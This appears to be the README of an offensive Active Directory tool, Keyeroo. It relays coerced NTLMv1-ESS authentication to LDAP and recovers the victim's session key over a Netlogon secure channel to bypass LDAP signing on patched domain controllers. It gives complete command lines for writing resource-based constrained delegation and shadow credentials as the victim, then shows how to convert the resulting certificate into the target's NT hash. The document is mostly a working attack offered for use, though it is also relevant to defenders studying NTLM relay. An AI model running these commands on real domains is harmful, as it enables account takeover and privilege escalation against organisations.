Relays coerced NTLM authentication to LDAP and performs writes as the victim by recovering their session key over a Netlogon secure channel, bypassing LDAP signing.
Relay a coerced victim's NTLM authentication to LDAP and run an operation as that victim, even when the domain controller requires LDAP signing and is fully patched.
If a DC requires LDAP signing, we cannot relay NTLM to LDAP because we do not know the victim's session key, which is the signing key for every LDAP message after the bind. Switcheroo got around this by stacking the bind and the operation in one buffer signed with our own session key, but the October 2026 update fixed that. Keyeroo takes a different path. Instead of working around the session key we do not have, we go and recover the victim's real session key using machine account credentials over a Netlogon secure channel, then derive its signing key and sign the operation the way the victim would.
The LDAP Switcheroo tool and its writeup, Signed, Sealed, and Relayed, NTLM-style: Bypassing LDAP Signing Through Reauthentication, cover the original LDAP signing bypass and its root cause. Keyeroo is the follow-on for the case Switcheroo no longer handles after the October 2026 patch.
The idea is to make the DC recover the user's session key for us.
NetrLogonSamLogonWithFlags). The DC validates it for us and
returns the victim's base key. From there we derive the NTLMv1-ESS key-exchange key and
decrypt the victim's exported session key.The result is an LDAP write as the coerced account, whether that is RBCD, shadow credentials,
or any attribute, without needing any LDAP credentials of our own. Keyeroo is a wrapper
around Impacket's ntlmrelayx.py and starts it for you.
The catch is that this only works if the victim sends NTLMv1-ESS, which means
LmCompatibilityLevel 2 or lower, or an older stack. Modern Windows defaults to NTLMv2, and
Windows 11 and Server 2025 drop NTLMv1 entirely, so this is a legacy path. Where that legacy is
still around, it gets past LDAP signing on a patched DC.
-oracle-machine). Under default MachineAccountQuota any domain
user can create one.LmCompatibilityLevel <= 2 or a legacy source.
By default modern Windows emits NTLMv2 (and Windows 11 / Server 2025 remove NTLMv1 entirely), so this
is a legacy-dependent path.-listen-ip over SMB, and authorized to write the
target object (e.g. its own RBCD attribute).sudo PYTHONPATH=/path/to/impacket python3 keyeroo.py \
'<DC.fqdn>' \
-dc-ip <DC_IP> \
-base-dn 'DC=example,DC=com' \
-domain 'example.com' \
-oracle-machine 'ATTACKERPC$' -oracle-password 'MachinePassw0rd!' \
-listen-ip <ATTACKER_IP> \
-victim 'EXAMPLE/VICTIM$' \
-modify-dn 'CN=VICTIM,CN=Computers,DC=example,DC=com' \
-rbcd-sid '<ATTACKER_COMPUTER_SID>' \
-ntlmrelayx /path/to/impacket/examples/ntlmrelayx.py
Then coerce the victim toward -listen-ip from another terminal.
domain/user[:password]@ (then it's authenticated and the read-back check runs).-oracle-password <pw> or -oracle-hashes [LM]:NT.-oracle-dc-ip picks the DC for the Netlogon secure channel (defaults to -dc-ip).-rbcd-sid <SID> (RBCD), -shadow-credentials (Key Credential), or
-value/-value-hex with -attribute.-shadow-credentials)Appends a Key Credential to the target's msDS-KeyCredentialLink (LDAP add, so existing
keys survive) and writes a PFX you can cash in with PKINIT:
sudo PYTHONPATH=... python3 keyeroo.py '<DC.fqdn>' \
-dc-ip <DC_IP> -base-dn 'DC=example,DC=com' -domain 'example.com' \
-oracle-machine 'ATTACKERPC$' -oracle-password 'MachinePassw0rd!' \
-listen-ip <ATTACKER_IP> -victim 'EXAMPLE/VICTIM$' \
-modify-dn 'CN=TARGET,CN=Computers,DC=example,DC=com' \
-shadow-credentials -pfx-out /tmp/sc -pfx-pass keyeroo \
-ntlmrelayx /path/to/impacket/examples/ntlmrelayx.py
Then recover the target's NT hash (needs forest PKINIT, i.e. an enterprise CA / KDC cert):
certipy-ad auth -pfx /tmp/sc.pfx -password keyeroo -dc-ip <DC_IP> \
-domain example.com -username 'TARGET$'
Requirements specific to this mode: the victim must be authorized to write
msDS-KeyCredentialLink on -modify-dn (self-write works where the victim can edit its own
object), and the forest must support PKINIT. Clean up afterwards, e.g.
certipy-ad shadow clear -u <admin>@<domain> -account 'TARGET$'.
Switcheroo stacks the victim Bind and the operation in one record signed with the attacker's session key (fixed by the October 2026 LDAP patch). Keyeroo instead recovers the victim's session key, so the operation is a normal signed request as the victim — which remains effective against the patched, signing-required DC (given an NTLMv1-ESS-capable victim).